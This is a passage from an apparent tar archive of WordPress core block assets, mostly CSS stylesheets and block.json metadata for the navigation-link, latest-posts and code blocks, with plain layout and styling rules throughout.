JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Submenus. */ .wp-block-navigation .has-child { cursor: pointer; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container { z-index: 28; } .wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container { z-index: 29; } .wp-block-navigation .has-child.is-selected > .wp-block-navigation__submenu-container, .wp-block-navigation .has-child.has-child-selected > .wp-block-navigation__submenu-container { visibility: visible !important; opacity: 1 !important; min-width: 200px !important; height: auto !important; width: auto !important; overflow: visible !important; } /** * Navigation Items. */ .wp-block-navigation-item .wp-block-navigation-item__content { cursor: text; } .wp-block-navigation-item.is-editing, .wp-block-navigation-item.is-selected { min-width: 20px; } .wp-block-navigation-item .block-list-appender { margin-top: 16px; margin-right: auto; margin-bottom: 16px; margin-left: 16px; } .wp-block-navigation-link__invalid-item { color: #000; } .wp-block-navigation-link__missing_text-tooltip { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; } /** * Menu item setup state. Is shown when a menu item has no URL configured. */ .wp-block-navigation-link__placeholder { position: relative; text-decoration: none !important; box-shadow: none !important; background-image: none !important; } .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span { --wp-underline-color: var(--wp-admin-theme-color); background-image: linear-gradient(45deg, transparent 20%, var(--wp-underline-color) 30%, var(--wp-underline-color) 36%, transparent 46%), linear-gradient(135deg, transparent 54%, var(--wp-underline-color) 64%, var(--wp-underline-color) 70%, transparent 80%); background-position: 0 100%; background-size: 6px 3px; background-repeat: repeat-x; padding-bottom: 0.1em; } .is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span { --wp-underline-color: #fff; } .wp-block-navigation-link__placeholder.wp-block-navigation-item__content { cursor: pointer; } /** * Link Control Transforms */ .link-control-transform { border-top: 1px solid #ccc; padding: 0 16px 8px 16px; } .link-control-transform__subheading { font-size: 11px; text-transform: uppercase; font-weight: 500; color: #1e1e1e; margin-bottom: 1.5em; } .link-control-transform__items { display: flex; justify-content: space-between; } .link-control-transform__item { flex-basis: 33%; flex-direction: column; gap: 8px; height: auto; }blocks/navigation-link/style-rtl.css000064400000003173147177035020013576 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-navigation .wp-block-navigation-item__label { word-break: normal; overflow-wrap: break-word; } .wp-block-navigation .wp-block-navigation-item__description { display: none; }blocks/navigation-link/editor.min.css000064400000004152147177035020013705 0ustar00.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{visibility:visible!important;opacity:1!important;min-width:200px!important;height:auto!important;width:auto!important;overflow:visible!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px auto 16px 16px}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__missing_text-tooltip{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden}.wp-block-navigation-link__placeholder{position:relative;text-decoration:none!important;box-shadow:none!important;background-image:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:var(--wp-admin-theme-color);background-image:linear-gradient(45deg,transparent 20%,var(--wp-underline-color) 30%,var(--wp-underline-color) 36%,transparent 46%),linear-gradient(135deg,transparent 54%,var(--wp-underline-color) 64%,var(--wp-underline-color) 70%,transparent 80%);background-position:0 100%;background-size:6px 3px;background-repeat:repeat-x;padding-bottom:.1em}.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:#fff}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{font-size:11px;text-transform:uppercase;font-weight:500;color:#1e1e1e;margin-bottom:1.5em}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}blocks/navigation-link/block.json000064400000002277147177035020013116 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/navigation-link", "title": "Custom Link", "category": "design", "parent": [ "core/navigation" ], "description": "Add a page, link, or another item to your navigation.", "textdomain": "default", "attributes": { "label": { "type": "string" }, "type": { "type": "string" }, "description": { "type": "string" }, "rel": { "type": "string" }, "id": { "type": "number" }, "opensInNewTab": { "type": "boolean", "default": false }, "url": { "type": "string" }, "title": { "type": "string" }, "kind": { "type": "string" }, "isTopLevelLink": { "type": "boolean" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "maxNestingLevel", "style" ], "supports": { "reusable": false, "html": false, "__experimentalSlashInserter": true }, "editorStyle": "wp-block-navigation-link-editor", "style": "wp-block-navigation-link" } blocks/navigation-link/style-rtl.min.css000064400000000252147177035020014353 0ustar00.wp-block-navigation .wp-block-navigation-item__label{word-break:normal;overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}blocks/navigation-link/editor-rtl.min.css000064400000004157147177035020014511 0ustar00.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{visibility:visible!important;opacity:1!important;min-width:200px!important;height:auto!important;width:auto!important;overflow:visible!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px 16px 16px auto}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__missing_text-tooltip{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden}.wp-block-navigation-link__placeholder{position:relative;text-decoration:none!important;box-shadow:none!important;background-image:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:var(--wp-admin-theme-color);background-image:linear-gradient(-45deg,transparent 20%,var(--wp-underline-color) 30%,var(--wp-underline-color) 36%,transparent 46%),linear-gradient(-135deg,transparent 54%,var(--wp-underline-color) 64%,var(--wp-underline-color) 70%,transparent 80%);background-position:100% 100%;background-size:6px 3px;background-repeat:repeat-x;padding-bottom:.1em}.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:#fff}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{font-size:11px;text-transform:uppercase;font-weight:500;color:#1e1e1e;margin-bottom:1.5em}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}blocks/navigation-link/style.css000064400000003173147177035020012777 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-navigation .wp-block-navigation-item__label { word-break: normal; overflow-wrap: break-word; } .wp-block-navigation .wp-block-navigation-item__description { display: none; }blocks/latest-posts/editor-rtl.css000064400000003567147177035020013303 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-latest-posts { padding-right: 2.5em; } .wp-block-latest-posts.is-grid { padding-right: 0; } .wp-block-latest-posts li a > div { display: inline; } .edit-post-visual-editor .wp-block-latest-posts.is-grid li { margin-bottom: 20px; } .editor-latest-posts-image-alignment-control .components-base-control__label { display: block; } .editor-latest-posts-image-alignment-control .components-toolbar { border-radius: 2px; }blocks/latest-posts/style.min.css000064400000003117147177035020013127 0ustar00.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none;padding-left:0}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap;padding:0}.wp-block-latest-posts.is-grid li{margin:0 1.25em 1.25em 0;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-right:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-right:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-right:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-right:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-right:0}}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt{margin-top:.5em;margin-bottom:1em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;width:auto;max-width:100%}.wp-block-latest-posts__featured-image.alignleft{margin-right:1em;float:left}.wp-block-latest-posts__featured-image.alignright{margin-left:1em;float:right}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}blocks/latest-posts/editor.css000064400000003565147177035020012502 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-latest-posts { padding-left: 2.5em; } .wp-block-latest-posts.is-grid { padding-left: 0; } .wp-block-latest-posts li a > div { display: inline; } .edit-post-visual-editor .wp-block-latest-posts.is-grid li { margin-bottom: 20px; } .editor-latest-posts-image-alignment-control .components-base-control__label { display: block; } .editor-latest-posts-image-alignment-control .components-toolbar { border-radius: 2px; }blocks/latest-posts/style-rtl.css000064400000006621147177035020013147 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-latest-posts.alignleft { margin-right: 2em; } .wp-block-latest-posts.alignright { margin-left: 2em; } .wp-block-latest-posts.wp-block-latest-posts__list { list-style: none; padding-right: 0; } .wp-block-latest-posts.wp-block-latest-posts__list li { clear: both; } .wp-block-latest-posts.is-grid { display: flex; flex-wrap: wrap; padding: 0; } .wp-block-latest-posts.is-grid li { margin: 0 0 1.25em 1.25em; width: 100%; } @media (min-width: 600px) { .wp-block-latest-posts.columns-2 li { width: calc((100% / 2) - 1.25em + (1.25em / 2)); } .wp-block-latest-posts.columns-2 li:nth-child(2n) { margin-left: 0; } .wp-block-latest-posts.columns-3 li { width: calc((100% / 3) - 1.25em + (1.25em / 3)); } .wp-block-latest-posts.columns-3 li:nth-child(3n) { margin-left: 0; } .wp-block-latest-posts.columns-4 li { width: calc((100% / 4) - 1.25em + (1.25em / 4)); } .wp-block-latest-posts.columns-4 li:nth-child(4n) { margin-left: 0; } .wp-block-latest-posts.columns-5 li { width: calc((100% / 5) - 1.25em + (1.25em / 5)); } .wp-block-latest-posts.columns-5 li:nth-child(5n) { margin-left: 0; } .wp-block-latest-posts.columns-6 li { width: calc((100% / 6) - 1.25em + (1.25em / 6)); } .wp-block-latest-posts.columns-6 li:nth-child(6n) { margin-left: 0; } } .wp-block-latest-posts__post-date, .wp-block-latest-posts__post-author { display: block; font-size: 0.8125em; } .wp-block-latest-posts__post-excerpt { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-latest-posts__featured-image a { display: inline-block; } .wp-block-latest-posts__featured-image img { height: auto; width: auto; max-width: 100%; } .wp-block-latest-posts__featured-image.alignleft { margin-right: 1em; float: left; } .wp-block-latest-posts__featured-image.alignright { margin-left: 1em; float: right; } .wp-block-latest-posts__featured-image.aligncenter { margin-bottom: 1em; text-align: center; }blocks/latest-posts/editor.min.css000064400000000603147177035020013252 0ustar00.wp-block-latest-posts{padding-left:2.5em}.wp-block-latest-posts.is-grid{padding-left:0}.wp-block-latest-posts li a>div{display:inline}.edit-post-visual-editor .wp-block-latest-posts.is-grid li{margin-bottom:20px}.editor-latest-posts-image-alignment-control .components-base-control__label{display:block}.editor-latest-posts-image-alignment-control .components-toolbar{border-radius:2px}blocks/latest-posts/block.json000064400000003243147177035020012460 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/latest-posts", "title": "Latest Posts", "category": "widgets", "description": "Display a list of your most recent posts.", "keywords": [ "recent posts" ], "textdomain": "default", "attributes": { "categories": { "type": "array", "items": { "type": "object" } }, "selectedAuthor": { "type": "number" }, "postsToShow": { "type": "number", "default": 5 }, "displayPostContent": { "type": "boolean", "default": false }, "displayPostContentRadio": { "type": "string", "default": "excerpt" }, "excerptLength": { "type": "number", "default": 55 }, "displayAuthor": { "type": "boolean", "default": false }, "displayPostDate": { "type": "boolean", "default": false }, "postLayout": { "type": "string", "default": "list" }, "columns": { "type": "number", "default": 3 }, "order": { "type": "string", "default": "desc" }, "orderBy": { "type": "string", "default": "date" }, "displayFeaturedImage": { "type": "boolean", "default": false }, "featuredImageAlign": { "type": "string", "enum": [ "left", "center", "right" ] }, "featuredImageSizeSlug": { "type": "string", "default": "thumbnail" }, "featuredImageSizeWidth": { "type": "number", "default": null }, "featuredImageSizeHeight": { "type": "number", "default": null }, "addLinkToFeaturedImage": { "type": "boolean", "default": false } }, "supports": { "align": true, "html": false }, "editorStyle": "wp-block-latest-posts-editor", "style": "wp-block-latest-posts" } blocks/latest-posts/style-rtl.min.css000064400000003113147177035020013722 0ustar00.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none;padding-right:0}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap;padding:0}.wp-block-latest-posts.is-grid li{margin:0 0 1.25em 1.25em;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-left:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-left:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-left:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-left:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-left:0}}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt{margin-top:.5em;margin-bottom:1em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;width:auto;max-width:100%}.wp-block-latest-posts__featured-image.alignleft{margin-right:1em;float:left}.wp-block-latest-posts__featured-image.alignright{margin-left:1em;float:right}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}blocks/latest-posts/editor-rtl.min.css000064400000000605147177035020014053 0ustar00.wp-block-latest-posts{padding-right:2.5em}.wp-block-latest-posts.is-grid{padding-right:0}.wp-block-latest-posts li a>div{display:inline}.edit-post-visual-editor .wp-block-latest-posts.is-grid li{margin-bottom:20px}.editor-latest-posts-image-alignment-control .components-base-control__label{display:block}.editor-latest-posts-image-alignment-control .components-toolbar{border-radius:2px}blocks/latest-posts/style.css000064400000006773147177035020012360 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-latest-posts.alignleft { /*rtl:ignore*/ margin-right: 2em; } .wp-block-latest-posts.alignright { /*rtl:ignore*/ margin-left: 2em; } .wp-block-latest-posts.wp-block-latest-posts__list { list-style: none; padding-left: 0; } .wp-block-latest-posts.wp-block-latest-posts__list li { clear: both; } .wp-block-latest-posts.is-grid { display: flex; flex-wrap: wrap; padding: 0; } .wp-block-latest-posts.is-grid li { margin: 0 1.25em 1.25em 0; width: 100%; } @media (min-width: 600px) { .wp-block-latest-posts.columns-2 li { width: calc((100% / 2) - 1.25em + (1.25em / 2)); } .wp-block-latest-posts.columns-2 li:nth-child(2n) { margin-right: 0; } .wp-block-latest-posts.columns-3 li { width: calc((100% / 3) - 1.25em + (1.25em / 3)); } .wp-block-latest-posts.columns-3 li:nth-child(3n) { margin-right: 0; } .wp-block-latest-posts.columns-4 li { width: calc((100% / 4) - 1.25em + (1.25em / 4)); } .wp-block-latest-posts.columns-4 li:nth-child(4n) { margin-right: 0; } .wp-block-latest-posts.columns-5 li { width: calc((100% / 5) - 1.25em + (1.25em / 5)); } .wp-block-latest-posts.columns-5 li:nth-child(5n) { margin-right: 0; } .wp-block-latest-posts.columns-6 li { width: calc((100% / 6) - 1.25em + (1.25em / 6)); } .wp-block-latest-posts.columns-6 li:nth-child(6n) { margin-right: 0; } } .wp-block-latest-posts__post-date, .wp-block-latest-posts__post-author { display: block; font-size: 0.8125em; } .wp-block-latest-posts__post-excerpt { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-latest-posts__featured-image a { display: inline-block; } .wp-block-latest-posts__featured-image img { height: auto; width: auto; max-width: 100%; } .wp-block-latest-posts__featured-image.alignleft { /*rtl:ignore*/ margin-right: 1em; /*rtl:ignore*/ float: left; } .wp-block-latest-posts__featured-image.alignright { /*rtl:ignore*/ margin-left: 1em; /*rtl:ignore*/ float: right; } .wp-block-latest-posts__featured-image.aligncenter { margin-bottom: 1em; text-align: center; }blocks/code/editor-rtl.css000064400000000051147177035020011534 0ustar00.wp-block-code code{ background:none; }blocks/code/style.min.css000064400000000144147177035020011374 0ustar00.wp-block-code code{display:block;font-family:inherit;overflow-wrap:break-word;white-space:pre-wrap}blocks/code/editor.css000064400000000051147177035020010735 0ustar00.wp-block-code code{ background:none; }blocks/code/style-rtl.css000064400000003065147177035020011416 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-code code { display: block; font-family: inherit; overflow-wrap: break-word; white-space: pre-wrap; }blocks/code/editor.min.css000064400000000044147177035020011521 0ustar00.wp-block-code code{background:none}blocks/code/theme-rtl.min.css000064400000000164147177035020012137 0ustar00.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}blocks/code/block.json000064400000002132147177035020010724 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/code", "title": "Code", "category": "text", "description": "Display code snippets that respect your spacing and tabs.", "textdomain": "default", "attributes": { "content": { "type": "string", "source": "html", "selector": "code" } }, "supports": { "anchor": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "margin": [ "top", "bottom" ], "padding": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "width": true, "color": true } }, "color": { "text": true, "background": true, "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } } }, "style": "wp-block-code" } blocks/code/style-rtl.min.css000064400000000144147177035020012173 0ustar00.wp-block-code code{display:block;font-family:inherit;overflow-wrap:break-word;white-space:pre-wrap}blocks/code/editor-rtl.min.css000064400000000044147177035020012320 0ustar00.wp-block-code code{background:none}blocks/code/theme.min.css000064400000000164147177035020011340 0ustar00.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}blocks/code/theme.css000064400000003111147177035020010551 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-code { border: 1px solid #ccc; border-radius: 4px; font-family: Menlo, Consolas, monaco, monospace; padding: 0.8em 1em; }blocks/code/theme-rtl.css000064400000003111147177035020011350 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-code { border: 1px solid #ccc; border-radius: 4px; font-family: Menlo, Consolas, monaco, monospace; padding: 0.8em 1em; }blocks/code/style.css000064400000003065147177035020010617 0ustar00/** * Colors */ /** * Breakpoints & Media Queries 